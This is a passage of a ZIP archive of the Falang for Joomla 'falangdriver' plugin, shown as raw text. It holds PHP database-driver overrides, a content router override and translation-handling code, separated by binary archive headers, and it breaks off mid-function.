			$fieldContent->modified =  JFactory::getDate()->toSql();

			$fieldContent->modified_by = $user->id;
			$fieldContent->published= true;

			$fieldContent->store();

		}

		return true;
	}

	/**
	 * We need to prepare custom fields per plugin because #__fields_values doesn't have a primary key
	 *
	 * @param $context
	 * @param $item
	 * @param $field
	 */
	public function onCustomFieldsBeforePrepareField($context, $item, $field) {

		// We only work in frontend
		if (!JFactory::getApplication()->isSite()) {
			return;
		}

		list($component, $view) = explode('.', $context, 2);

		if (strpos($component, "com_")=== 0)	{
			$component_name = substr($component, 4);
		} else {
			$component_name = $component;
		}

		$fManager = FalangManager::getInstance();

		$content_element = $fManager::getInstance()->getContentElement($component_name);

		if (empty($content_element)){
			return;
		}

		$languageTag  = JFactory::getLanguage()->getTag();
		$id_lang = $fManager->getLanguageID($languageTag);

		$translations = FalangManager::getInstance()->getRawFieldTranslations($content_element->getTableName(),'com_fields',$item->{$content_element->getReferenceId()},$id_lang);

		if (empty($translations)) {
			return;
		}

		$json_value = json_decode($translations);

		if (isset($json_value->{$field->name})) {
			$field->valueUntranslated = $field->value;
			$field->rawvalueUntranslated = $field->rawvalue;
			$field->value = $json_value->{$field->name};
			$field->rawvalue = $json_value->{$field->name};
		}

	}

	//@since 2.9.7
	public function setupAdvancedRouter()
	{
		//support advanced router
		jimport('joomla.application.component.helper');
		$params          = JComponentHelper::getParams('com_falang');
		$advanced_router = $params->get('advanced_router', 0);

		if (!isset($advanced_router) || $advanced_router == '0')
		{
			return;
		}
		$app = JFactory::getApplication();
		$router = $app->getRouter();

		//loop on folder to override each component router.
		jimport('joomla.filesystem.folder');
		$folders = JFolder::folders(JPATH_PLUGINS . '/system/falangdriver/routers/');
		if (count($folders))
		{
			foreach ($folders as $folder)
			{
				$router_file_path  = JPATH_PLUGINS . '/system/falangdriver/routers/' . $folder . '/router.php';
				if (file_exists($router_file_path))
				{
					require_once $router_file_path;
					$router_name = 'Falang'.str_replace('com_','',$folder).'Router';
					$crouter = new $router_name($app, $app->getMenu());
					$router->setComponentRouter($folder, $crouter);
				}
			}
		}
	}

}PK!b�3~llfalangdriver/falangdriver.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.0" type="plugin" group="system" method="upgrade">
    <name>plg_system_falangdriver</name>
    <author>Stéphane Bouey</author>
    <creationDate>23 march 2020</creationDate>
    <copyright>2011-2020, Faboba</copyright>
    <license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
    <authorEmail>stephane.bouey@faboba.com</authorEmail>
    <authorUrl>www.faboba.com</authorUrl>
    <version>3.3.0</version>
    <description>PLG_SYSTEM_FALANGDRIVER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="falangdriver">index.html</filename>
		<filename plugin="falangdriver">falangdriver.php</filename>
        <filename plugin="falangdriver">falang_database.php</filename>
		<folder>language</folder>
        <folder>menu</folder>
        <folder>drivers</folder>
        <folder>routers</folder>
	</files>
	<languages>
		<language tag="language/en-GB">en-GB.plg_falang_driver.ini</language>
		<language tag="language/en-GB">en-GB.plg_falang_driver.sys.ini</language>
	</languages>
	<config>
	</config>
</extension>PK!J�4��� falangdriver/drivers/mysqlix.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

/**
 * MySQLi FaLang database driver
 *
 * @package     Joomla.Platform
 * @subpackage  Database
 * @see         http://php.net/manual/en/book.mysqli.php
 * @since       11.1
 */


class JOverrideDatabase extends JDatabaseDriverMysqli
{

    function __construct($options){
        $db =  JFactory::getDBO();
        // support for recovery of existing connections (Martin N. Brampton)
        if (isset($this->options)) $this->options = $options;

        $select		= array_key_exists('select', $options)	? $options['select']	: true;
        $database	= array_key_exists('database',$options)	? $options['database']	: '';

        // perform a number of fatality checks, then return gracefully
        if (!function_exists( 'mysqli_connect' )) {
            $this->_errorNum = 1;
            $this->_errorMsg = 'The MySQL adapter "mysqli" is not available.';
            return;
        }

		// connect to the server
		$this->connection = $db->get("connection");

        // finalize initialization
        parent::__construct($options);

        // select the database
        if ( $select ) {
            $this->select($database);
        }

    }


    function _getFieldCount(){
        if (is_object($this->cursor) && get_class($this->cursor)=="mysqli_result"){
            $fields = mysqli_num_fields($this->cursor);
            return $fields;
        }
        // This is either a broken db connection or a bad query
        return 0;
    }

    function _getFieldMetaData($i){
        $meta = mysqli_fetch_field($this->cursor);
        return $meta;
    }

	function setRefTables(){

		$pfunc = $this->_profile();

		if($this->cursor===true || $this->cursor===false) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		// only needed for selects at present - possibly add for inserts/updates later
        if (is_a($this->sql,'JDatabaseQueryMySQLi')) {
           $tempsql = $this->sql->__toString();
        } else {
           $tempsql = $this->sql;
       }

		if (strpos(strtoupper(trim($tempsql)),"SELECT")!==0) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		$config = JFactory::getConfig();

		// get column metadata
		$fields = $this->_getFieldCount();

		if ($fields<=0) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		$this->_refTables=array();
		$this->_refTables["fieldTablePairs"]=array();
		$this->_refTables["tableAliases"]=array();
		$this->_refTables["reverseTableAliases"]=array();
		$this->_refTables["fieldAliases"]=array();
		$this->_refTables["fieldTableAliasData"]=array();
		$this->_refTables["fieldCount"]=$fields;
		// Do not store sql in _reftables it will disable the cache a lot of the time

		$tableAliases = array();
		for ($i = 0; $i < $fields; ++$i) {
			$meta = $this->_getFieldMetaData($i);
			if (!$meta) {
				echo JText::_(PLG_SYSTEM_FALANGDRIVER_META_NO_INFO);
			}
			else {
				$tempTable =  $meta->table;
				// if I have already found the table alias no need to do it again!
				if (array_key_exists($tempTable,$tableAliases)){
					$value = $tableAliases[$tempTable];
				}
				// mysqli only
				else if (isset($meta->orgtable)){
					$value = $meta->orgtable;
					if (isset($this->_table_prefix) && strlen($this->_table_prefix)>0 && strpos($meta->orgtable,$this->_table_prefix)===0) {
						$value = substr($meta->orgtable, strlen( $this->_table_prefix));
					}
					$tableAliases[$tempTable] = $value;
				}
				else {
					continue;
				}

				if ((!($value=="session" || strpos($value,"jf_")===0)) && $this->translatedContentAvailable($value)){
					/// ARGH !!! I must also look for aliases for fieldname !!
					if (isset($meta->orgname)){
						$nameValue = $meta->orgname;
					}
					else {
						 $nameValue = $meta->name;
					}

					if (!array_key_exists($value,$this->_refTables["tableAliases"])) {
						$this->_refTables["tableAliases"][$value]=$meta->table;
					}
					if (!array_key_exists($meta->table,$this->_refTables["reverseTableAliases"])) {
						$this->_refTables["reverseTableAliases"][$meta->table]=$value;
					}
					// I can't use the field name as the key since it may not be unique!
					if (!in_array($value,$this->_refTables["fieldTablePairs"])) {
						$this->_refTables["fieldTablePairs"][]=$value;
					}
					if (!array_key_exists($nameValue,$this->_refTables["fieldAliases"])) {
						$this->_refTables["fieldAliases"][$meta->name]=$nameValue;
					}

					// Put all the mapping data together so that everything is in sync and I can check fields vs aliases vs tables in one place
					$this->_refTables["fieldTableAliasData"][$i]=array("fieldNameAlias"=>$meta->name, "fieldName"=>$nameValue,"tableNameAlias"=>$meta->table,"tableName"=>$value);

				}

			}
		}
		$pfunc = $this->_profile($pfunc);
	}

}
PK!��"falangdriver/drivers/pdomysqlx.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

/**
 * MySQLi FaLang database driver
 *
 * @package     Joomla.Platform
 * @subpackage  Database
 * @see         http://php.net/manual/en/book.mysqli.php
 * @since       11.1
 */


class JOverrideDatabase extends JDatabaseDriverMysqli
{
	function __construct($options){
		JFactory::getApplication()->enqueueMessage(JText::_('PLG_SYSTEM_FALANGDRIVER_PDO_NOT_SUPPORTED'));
		parent::__construct($options);
	}
}PK!���4��falangdriver/drivers/mysqlx.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

require_once( JPATH_SITE.'/components/com_falang/helpers/defines.php' );
require_once( JPATH_SITE.'/components/com_falang/helpers/falang.class.php' );
require_once( JPATH_SITE."/administrator/components/com_falang/classes/FalangManager.class.php");

/**
 * MySQLi database driver
 *
 * @package     Joomla.Platform
 * @subpackage  Database
 * @see         http://php.net/manual/en/book.mysql.php
 * @since       11.1
 */

class JOverrideDatabase extends JDatabaseDriverMysql
{

    function __construct($options){
        $db =  JFactory::getDBO();

        // support for recovery of existing connections (Martin N. Brampton)
        if (isset($this->_options)) $this->_options = $options;

        $select		= array_key_exists('select', $options)	? $options['select']	: true;
        $database	= array_key_exists('database',$options)	? $options['database']	: '';

        // perform a number of fatality checks, then return gracefully
        if (!function_exists( 'mysql_connect' )) {
            $this->_errorNum = 1;
            $this->_errorMsg = 'The MySQL adapter "mysql" is not available.';
            return;
        }

		// connect to the server
		$this->connection = $db->get("connection");

        // finalize initialization
        parent::__construct($options);

        // select the database
        if ( $select ) {
            $this->select($database);
        }

    }

    function _getFieldCount(){
        if (!is_resource($this->cursor)){
            // This is a serious problem since we do not have a valid db connection
            // or there is an error in the query
            $error = JError::raiseError( 500, JTEXT::_('No valid database connection:') .$this->getErrorMsg());
            return $error;
        }

        $fields = mysql_num_fields($this->cursor);
        return $fields;
    }

    function _getFieldMetaData($i){
        $meta = mysql_fetch_field($this->cursor, $i);
        return $meta;
    }

	function setRefTables(){

		$pfunc = $this->_profile();

		if($this->cursor===true || $this->cursor===false) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		// only needed for selects at present - possibly add for inserts/updates later
        if (is_a($this->sql,'JDatabaseQueryMySQL')) {
           $tempsql = $this->sql->__toString();
        } else {
   		   $tempsql = $this->sql;
        }
        //use tempprefixsql for mysql only driver
        $tempprefixsql = $this->replacePrefix((string) $tempsql);


        if (strpos(strtoupper(trim($tempsql)),"SELECT")!==0) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		$config = JFactory::getConfig();

		// get column metadata
		$fields = $this->_getFieldCount();

		if ($fields<=0) {
			$pfunc = $this->_profile($pfunc);
			return;
		}

		$this->_refTables=array();
		$this->_refTables["fieldTablePairs"]=array();
		$this->_refTables["tableAliases"]=array();
		$this->_refTables["reverseTableAliases"]=array();
		$this->_refTables["fieldAliases"]=array();
		$this->_refTables["fieldTableAliasData"]=array();
		$this->_refTables["fieldCount"]=$fields;
		// Do not store sql in _reftables it will disable the cache a lot of the time

		$tableAliases = array();
		for ($i = 0; $i < $fields; ++$i) {
			$meta = $this->_getFieldMetaData($i);
			if (!$meta) {
				echo JText::_(PLG_SYSTEM_FALANGDRIVER_META_NO_INFO);
			}
			else {
				$tempTable =  $meta->table;
				// if I have already found the table alias no need to do it again!
				if (array_key_exists($tempTable,$tableAliases)){
					$value = $tableAliases[$tempTable];
				}
				// mysqli only
                else if (isset($meta->orgtable)){
                    $value = $meta->orgtable;
                    if (isset($this->_table_prefix) && strlen($this->_table_prefix)>0 && strpos($meta->orgtable,$this->_table_prefix)===0) $value = substr($meta->orgtable, strlen( $this->_table_prefix));
                    $tableAliases[$tempTable] = $value;
				}
				else {
                    if (!isset($tempTable) || strlen($tempTable)==0) {
                        continue;
                    }
                    //echo "<br>Information for column $i of ".($fields-1)." ".$meta->name." : $tempTable=";
                    $tempArray=array();
                    //sbou TODO optimize this section
                    $prefix = $this->_table_prefix;

                    preg_match_all("/`?$prefix(\w+)`?\s+(?:AS\s)?+`?".$tempTable."`?[,\s]/i",$tempprefixsql, $tempArray, PREG_PATTERN_ORDER);
                    //preg_match_all("/`?$prefix(\w+)`?\s+AS\s+`?".$tempTable."`?[,\s]/i",$this->_sql, $tempArray, PREG_PATTERN_ORDER);
                    if (count($tempArray)>1 && count($tempArray[1])>0) $value = $tempArray[1][0];
                    else $value = null;
                    if (isset($this->_table_prefix) && strlen($this->_table_prefix)>0 && strpos($tempTable,$this->_table_prefix)===0) $tempTable = substr($tempTable, strlen( $this->_table_prefix));
                    $value = $value?$value:$tempTable;
                    $tableAliases[$tempTable]=$value;
				}

                if ((!($value=="session" || strpos($value,"jf_")===0)) && $this->translatedContentAvailable($value)){
                    /// ARGH !!! I must also look for aliases for fieldname !!
                    if (isset($meta->orgname)){
                        $nameValue = $meta->orgname;
                    }
                    else {
                        $tempName = $meta->name;
                        $tempArray=array();
                        // This is a bad match when we have "SELECT id" at the start of the query
                        preg_match_all("/`?(\w+)`?\s+(?:AS\s)?+`?".$tempName."`?[,\s]/i",$tempprefixsql, $tempArray, PREG_PATTERN_ORDER);
                        //preg_match_all("/`?(\w+)`?\1s+AS\s+`?".$tempName."`?[,\s]/i",$this->_sql, $tempArray, PREG_PATTERN_ORDER);
                        if (count($tempArray)>1 && count($tempArray[1])>0) {
                            //echo "$meta->name is an alias for ".$tempArray[1][0]."<br>";
                            // must ignore "SELECT id"
                            if (strtolower($tempArray[1][0])=="select"){
                                $nameValue = $meta->name;
                            }
                            else {
                                $nameValue = $tempArray[1][0];
                            }
                        }
                        else $nameValue = $meta->name;
                    }

                    if (!array_key_exists($value,$this->_refTables["tableAliases"])) $this->_refTables["tableAliases"][$value]=$meta->table;
                    if (!array_key_exists($meta->table,$this->_refTables["reverseTableAliases"])) $this->_refTables["reverseTableAliases"][$meta->table]=$value;

                    // I can't use the field name as the key since it may not be unique!
                    if (!in_array($value,$this->_refTables["fieldTablePairs"])) $this->_refTables["fieldTablePairs"][]=$value;
                    if (!array_key_exists($nameValue,$this->_refTables["fieldAliases"])) $this->_refTables["fieldAliases"][$meta->name]=$nameValue;

                    // Put all the mapping data together so that everything is in sync and I can check fields vs aliases vs tables in one place
                    $this->_refTables["fieldTableAliasData"][$i]=array("fieldNameAlias"=>$meta->name, "fieldName"=>$nameValue,"tableNameAlias"=>$meta->table,"tableName"=>$value);

				}

			}
		}
		$pfunc = $this->_profile($pfunc);
	}

}
PK!�#o,,falangdriver/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�or��+falangdriver/routers/com_content/router.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

defined('_JEXEC') or die;

/**
 * Routing class of com_content
 *
 * @since  3.3
 */
require_once JPATH_ROOT . '/components/com_content/router.php';

class FalangContentRouter extends ContentRouter
{

	/**
	 * Content Component router constructor
	 *
	 * @param   JApplicationCms $app  The application object
	 * @param   JMenu           $menu The menu object to work with
	 */
	public function __construct($app = null, $menu = null)
	{
		parent::__construct($app, $menu);
		//need to override router name
		$this->name = 'content';

	}



	/**
	 * Method to get the segment(s) for an article
	 *
	 * @param   string $id    ID of the article to retrieve the segments for
	 * @param   array  $query The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */

	public function getArticleSegment($id, $query)
	{
		if (!strpos($id, ':'))
		{
			$db      = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			//add id in the query to use falang override query
			$dbquery->select($dbquery->qn(array('alias', 'id')))
				->from($dbquery->qn('#__content'))
				->where('id = ' . $dbquery->q($id));
			$db->setQuery($dbquery);
			$id .= ':' . $db->loadResult();
		}

		if ($this->noIDs)
		{
			list($void, $segment) = explode(':', $id, 2);

			return array($void => $segment);
		}

		return array((int) $id => $id);
	}


	public function getArticleId($segment, $query)
	{
		if ($this->noIDs)
		{
			$lang         = JFactory::getLanguage()->getTag();
			$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

			//look in Falang Table
			if ($default_lang != $lang)
			{
				$fManager = FalangManager::getInstance();
				$id_lang  = $fManager->getLanguageID($lang);

				$db      = JFactory::getDbo();
				$dbQuery = $db->getQuery(true);
				$dbQuery->select('fc.reference_id')
					->from('#__falang_content fc')
					->where('fc.value = ' . $dbQuery->q($segment))
					->where('fc.language_id = ' . $dbQuery->q($id_lang))
					->where('fc.reference_field = ' . $dbQuery->q('alias'))
					->where('fc.published = 1')
					->where('fc.reference_table = ' . $dbQuery->q('content'));

				$db->setQuery($dbQuery);
				$db->execute();
				$num_rows = $db->getNumRows();
				//case no alias translated by falang need to find the content alias
				//TODO filter by catid too in case
				if (empty($num_rows)){
					//get category
					if (isset($query['view']) && $query['view'] == 'category'){
						$cat_id = $query['id'];
					}

					$dbQuery = $db->getQuery(true);
					$dbQuery->select('c.id');
					$dbQuery->from('#__content c');
					$dbQuery->where('c.alias = ' . $dbQuery->q($segment));

					if (isset($cat_id)){
						$dbQuery->where('c.catid = ' . $dbQuery->q($cat_id));
					}

					$db->setQuery($dbQuery);
					$db->execute();
					$article_id = $db->loadResult();
					return (int) $article_id;
				}
				//most case only 1 alias
				if (isset($num_rows) && $num_rows == 1){
					$article_id = $db->loadResult();
					if (isset($article_id))
					{
						return (int) $article_id;
					}
				} else {
					$article_ids = $db->loadObjectList();
					//2 alias with the same name look the right one
					foreach ($article_ids as $id){
						$dbquery = $db->getQuery(true);
						$dbquery->select($dbquery->qn('id'))
							->from($dbquery->qn('#__content'))
							->where('id = ' . $dbquery->q($id->reference_id))
							->where('catid = ' . $dbquery->q($query['id']));
						$db->setQuery($dbquery);
						$db->execute();
						$num_rows = $db->getNumRows();
						if (isset($num_rows)) {
							return (int) $db->loadResult();
						}
					}
				}
			} else	{
				$db      = JFactory::getDbo();
				$dbquery = $db->getQuery(true);
				$dbquery->select($dbquery->qn('id'))
					->from($dbquery->qn('#__content'))
					->where('alias = ' . $dbquery->q($segment))
					->where('catid = ' . $dbquery->q($query['id']));
				$db->setQuery($dbquery);

				return (int) $db->loadResult();
			}
		}

		return (int) $segment;
	}

}PK!4���GLGL falangdriver/falang_database.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

require_once( JPATH_SITE.'/components/com_falang/helpers/defines.php' );
require_once( JPATH_SITE.'/components/com_falang/helpers/falang.class.php' );
require_once( JPATH_SITE."/administrator/components/com_falang/classes/FalangManager.class.php");

include_once(dirname(__FILE__) . '/drivers/' . strtolower(JFactory::getDBO()->name) . "x.php");

class JFalangDatabase extends JOverrideDatabase {

	/** @var array list of multi lingual tables */
	var $_mlTableList=null;
	/** @var Internal variable to hold array of unique tablenames and mapping data*/
	var $_refTables=null;

	/** @var Internal variable to hold flag about whether setRefTables is needed - JF queries don't need it */
	var $_skipSetRefTables = false;

	var $orig_limit	= 0;
	var $orig_offset	= 0;
    var $_table_prefix = null;

	var $profileData = array();


	public function __construct($options)
    {
            parent::__construct($options);
            $this->_table_prefix = $options['prefix'];
            $pfunc = $this->_profile();

            $query = "select distinct reference_table from #__falang_content";
            $this->setQuery( $query );
            $this->_skipSetRefTables = true;
            $this->_mlTableList = $this->loadColumn(0,false);
            $this->_skipSetRefTables = false;
            if( !$this->_mlTableList ){
                    if ($this->getErrorNum()>0){
                            JError::raiseWarning( 200, JTEXT::_('No valid table list:') .$this->getErrorMsg());
                    }
            }

            $pfunc = $this->_profile($pfunc);
    }

	/**
	 * Description
	 *
	 * @access public
	 * @return int The number of rows returned from the most recent query.
	 */
	function getNumRows( $cur=null, $translate=true, $language=null )
	{
		$count = parent::getNumRows($cur);
		if (!$translate) return $count;

		// setup falang plugins
		$dispatcher	   = JDispatcher::getInstance();
        jimport('joomla.plugin.helper');
		JPluginHelper::importPlugin('falang');

		// must allow fall back for contnent table localisation to work
		$allowfallback = true;
		$refTablePrimaryKey = "";
		$reference_table = "";
		$ids="";
		//$this->setLanguage($language);
		$registry = JFactory::getConfig();
		$defaultLang = $registry->get("config.defaultlang");
		if ($defaultLang == $language){
			$rows = array($count);
			$dispatcher->trigger('onBeforeTranslation', array (&$rows, &$ids, $reference_table, $language, $refTablePrimaryKey, $this->getRefTables(), $this->sql, $allowfallback));
			$count = $rows[0];
			return $count;
		}

		$rows = array($count);

		$dispatcher->trigger('onBeforeTranslation', array (&$rows, &$ids, $reference_table, $language, $refTablePrimaryKey, $this->getRefTables(), $this->sql, $allowfallback));

		$dispatcher->trigger('onAfterTranslation', array (&$rows, &$ids, $reference_table, $language, $refTablePrimaryKey, $this->getRefTables(), $this->sql, $allowfallback));
		$count = $rows[0];
		return $count;
	}

    /**
     * Execute the SQL statement. New query() name since 2.5.5
     *
     * @return  mixed  A database cursor resource on success, boolean false on failure.
     *
     * @since   11.1
     * @throws  DatabaseException
     */
    public function execute()
    {
        $success = parent::execute();

	    if ($success && !$this->_skipSetRefTables){
            $this->setRefTables();
        }
        return $this->cursor;
    }

    /**
     * Execute the SQL statement. query() become execute since 2.5.5
     *
     * @return  mixed  A database cursor resource on success, boolean false on failure.
     *
     * @since   11.1
     * @throws  DatabaseException
     */

    public function query()
	{
		return $this->execute();
	}


	/**
	* Overwritten Database method to loads the first field of the first row returned by the query.
	*
	* @return The value returned in the query or null if the query failed.
	*/
	function loadResult( $translate=true, $language=null ) {
		if (!$translate){
			$this->_skipSetRefTables=true;
			$result = parent::loadResult();
			$this->_skipSetRefTables=false;
			return $result;
		}
		$result=null;
		$ret=null;

		$result = $this->_loadObject( $translate, $language );

		$pfunc = $this->_profile();

		if( $result != null ) {
			$fields = get_object_vars( $result );
			$ret = current($fields);
		}

		$pfunc = $this->_profile($pfunc);

		return $ret;
	}

    function loadResultArray($offset = 0,  $translate=true, $language=null){
        return $this->loadColumn($offset,$translate,$language);
    }

    /**
     * Overwritten Method to get an array of values from the <var>$offset</var> field in each row of the result set from
     * the database query.
     *
     * @param   integer  $offset  The row offset to use to build the result array.
     *
     * @return  mixed    The return value or null if the query failed.
     *
     * @since   11.1
     * @throws  DatabaseException
     */
    function loadColumn($offset = 0,  $translate=true, $language=null){
        if (!$translate){
            return parent::loadColumn($offset);
        }
        $results=array();
        $ret=array();
        $results = $this->loadObjectList( '','stdClass', $translate, $language );

        $pfunc = $this->_profile();

        if( $results != null && count($results)>0) {
            foreach ($results as $row) {
                $fields = get_object_vars( $row );
                $keycount = 0;
                foreach ($fields as $k=>$v) {
                    if ($keycount==$offset){
                        $key = $k;
                        break;
                    }
                }
				if(isset($key)){
					$ret[] = $fields[$key];
				}
            }
        }

        $pfunc = $this->_profile($pfunc);

        return $ret;
    }

    /**
     * Overwritten
     *
     * @access	public
     * @return The first row of the query.
     */
    function loadRow( $translate=true, $language=null)
    {
        if (!$translate){
            return parent::loadRow();
        }
        $result=null;
        $result = $this->_loadObject( $translate, $language );

        $pfunc = $this->_profile();

        $row = array();
        if( $result != null ) {
            $fields = get_object_vars( $result );
            foreach ($fields as $val) {
                $row[] = $val;
            }
            return $row;
        }
        return $row;
    }

    /**
    * Overwritten Load a list of database rows (numeric column indexing)
    *
    * @access public
    * @param string The field name of a primary key
    * @return array If <var>key</var> is empty as sequential list of returned records.
    * If <var>key</var> is not empty then the returned array is indexed by the value
    * the database key.  Returns <var>null</var> if the query fails.
    */
    function loadRowList( $key=null , $translate=true, $language=null)
    {
        if (!$translate){
            return parent::loadRowList($key);
        }
        $results=array();
        if (is_null($key)) $key="";
        $rows = $this->loadObjectList($key,'stdClass', $translate, $language );

        $pfunc = $this->_profile();

        $row = array();
        if( $rows != null ) {
            foreach ($rows as $row) {
                $fields = get_object_vars( $row );
                $result = array();
                foreach ($fields as $val) {
                    $result[] = $val;
                }
                if ($key!="") {
                    $results[$row->$key] = $result;
                }
                else {
                    $results[] = $result;
                }
            }
        }
        $pfunc = $this->_profile($pfunc);
        return $results;
    }


	function loadObjectList( $key='',$class = 'stdClass', $translate=true, $language=null ) {
		//sbou
                //sbou TODO check r�cursive pb
                //$jfManager = FalangManager::getInstance();
		if (!$translate) {
			$this->_skipSetRefTables=true;
			$result = parent::loadObjectList( $key ,empty($class)?'stdClass':$class);
			$this->_skipSetRefTables=false;
			return $result;
		}

		$result = parent::loadObjectList( $key, empty($class)?'stdClass':$class);


//		if( isset($jfManager)) {
//			$this->_setLanguage($language);
//		}

		// TODO check the impact of this on frontend translation
		// It does stop Joomfish plugins from working on missing translations e.g. regional content so disable for now
		// Don't do it for now since translation caching is so effective
		/*
		$registry = JFactory::getConfig();
		$defaultLang = $registry->getValue("config.defaultlang");
		if ($defaultLang == $language){
		$translate = false;
		}
		*/

                //sbou TODO this is not the right solution.
//		if( isset($jfManager)) {
                if (true){
			$doTranslate=false;
			$tables =$this->getRefTables();
			if ($tables == null) return $result; // an unstranslatable query to return result as is
			// if we don't have "fieldTablePairs" then we can't translate
			if (!array_key_exists("fieldTablePairs",$tables)){
				return $result;
			}
			foreach ($tables["fieldTablePairs"] as $i=>$table) {
				if ($this->translatedContentAvailable($table)) {
					$doTranslate=true;
					break;
				}
			}
			if ($doTranslate ) {
				$pfunc = $this->_profile();
                                //sbou TODO cache desactived
//				if ($jfManager->getCfg("transcaching",1)){
                                if (false) {
					// cache the results
					// TODO call based on config
					//$cache = JFactory::getCache('jfquery');
                    $cache = $jfManager->getCache($language);
					$this->orig_limit	= $this->limit;
					$this->orig_offset	= $this->offset;
					$result = $cache->get( array("FaLang", 'translateListCached'), array($result, $language, $this->getRefTables() ));
					$this->orig_limit	= 0;
					$this->orig_offset	= 0;
				}
				else {
					$this->orig_limit	= $this->limit;
					$this->orig_offset	= $this->offset;
					Falang::translateList( $result, $language, $this->getRefTables() );
					$this->orig_limit	= 0;
					$this->orig_offset	= 0;
				}
				$pfunc = $this->_profile($pfunc);
			}
		}
		return $result;
	}

	/**
	 * private function to handle the requirement to call different loadObject version based on class
	 *
	 * @param boolran $translate
	 * @param string $language
	 */
	function _loadObject( $translate=true, $language=null ) {
		return $this->loadObject();
	}




	function _profile($func = "", $forcestart=false){
		if (!$this->debug) return "";
		// start of function
		if ($func==="" || $forcestart){
			if (!$forcestart){
				$backtrace = debug_backtrace();
				if (count($backtrace)>1){
					if (array_key_exists("class",$backtrace[1])){
						$func = $backtrace[1]["class"]."::".$backtrace[1]["function"];
					}
					else {
						$func = $backtrace[1]["function"];
					}
				}
			}
			if (!array_key_exists($func,$this->profileData)){
				$this->profileData[$func]=array("total"=>0, "count"=>0);
			}
			if (!array_key_exists("start",$this->profileData[$func])) {
				$this->profileData[$func]["start"]=array();
			}
			list ($usec,$sec) = explode(" ", microtime());
			$this->profileData[$func]["start"][] = floatval($usec)+floatval($sec);
			$this->profileData[$func]["count"]++;
			return $func;
		}
		else {
			if (!array_key_exists($func,$this->profileData)){
				exit("JFProfile start not found for function $func");
			}
			list ($usec,$sec) = explode(" ", microtime());
			$laststart = array_pop($this->profileData[$func]["start"]);
			$this->profileData[$func]["total"] += (floatval($usec)+floatval($sec)) - $laststart;
		}
	}



	/**
	 * Public function to test if table has translated content available
	 *
	 * @param string $table : tablename to test
	 */
	function translatedContentAvailable($table){
		return in_array( $table, $this->_mlTableList) || $table=="content";
	}

	/** Internal function to return reference table names from an sql query
	 *
	 * @return	string	table name
	 */
	function getRefTables(){
		return $this->_refTables;
	}

	/**
	* This global function loads the first row of a query into an object
	*/
	function loadObject( $class = 'stdClass', $translate=true, $language=null ) {
		$objects = $this->loadObjectList("",$class,$translate,$language);
		if (!is_null($objects) && count($objects)>0){
			return $objects[0];
		}
		return null;
	}

	/**
	* Overwritten Fetch a result row as an associative array
	*
	* @access	public
	* @return array
	*/
	function loadAssoc( $translate=true, $language=null) {
		if (!$translate){
			return parent::loadResult();
		}
		$result=null;
		$result = $this->_loadObject( $translate, $language );

		$pfunc = $this->_profile();

		if( $result != null ) {
			$fields = get_object_vars( $result );
			$pfunc = $this->_profile($pfunc);
			return $fields;
		}
		return $result;
	}

	/**
	* Overwritten Load a assoc list of database rows
	*
	* @access	public
	* @param string The field name of a primary key
	* @return array If <var>key</var> is empty as sequential list of returned records.
	*/
	function loadAssocList( $key = null, $column = null, $translate=true, $language=null )
	{
		if (!$translate){
			return parent::loadAssocList($key, $column = null);
		}
		$result=null;
		$rows = $this->loadObjectList($key,'stdClass', $translate, $language );

		$pfunc = $this->_profile();
		$return = array();
		if( $rows != null ) {
			foreach ($rows as $row) {
                $vars = get_object_vars( $row );
                $value = ($column) ? (isset($vars[$column]) ? $vars[$column] : $vars) : $vars;
                if ($key) {
                    $return[$vars[$key]] = $value;
                }
                else {
                    $return[] = $value;
                }
			}
			$pfunc = $this->_profile($pfunc);
		}
		return $return;
	}


    /**
     * Overwritten insert function to enable storage of material created in non-default language.
     * Note that this creates a translation which is identical to the original - when we update
     * the original in the default language we then keep the translation (although it will appread out of date!).
     *
     * @param	string	table name
     * @param	object	instance with information to store
     * @param	string	primary key name of table
     * @param	boolean	debug info printed or not
     * @param	boolean	passthru without storing information in a translation table
     */
    function updateObject( $table, &$object, $keyName, $updateNulls=true, $passthru=false ) {

        $params = JComponentHelper::getParams('com_falang');
        //1.4.5 if fronEdition is set to off , keep previous system
        if ($params->get('frontEndEdition',0) == 0){
            return parent::updateObject( $table, $object, $keyName, $updateNulls );
        }

        $pfunc = $this->_profile();

        $falangManager = FalangManager::getInstance();

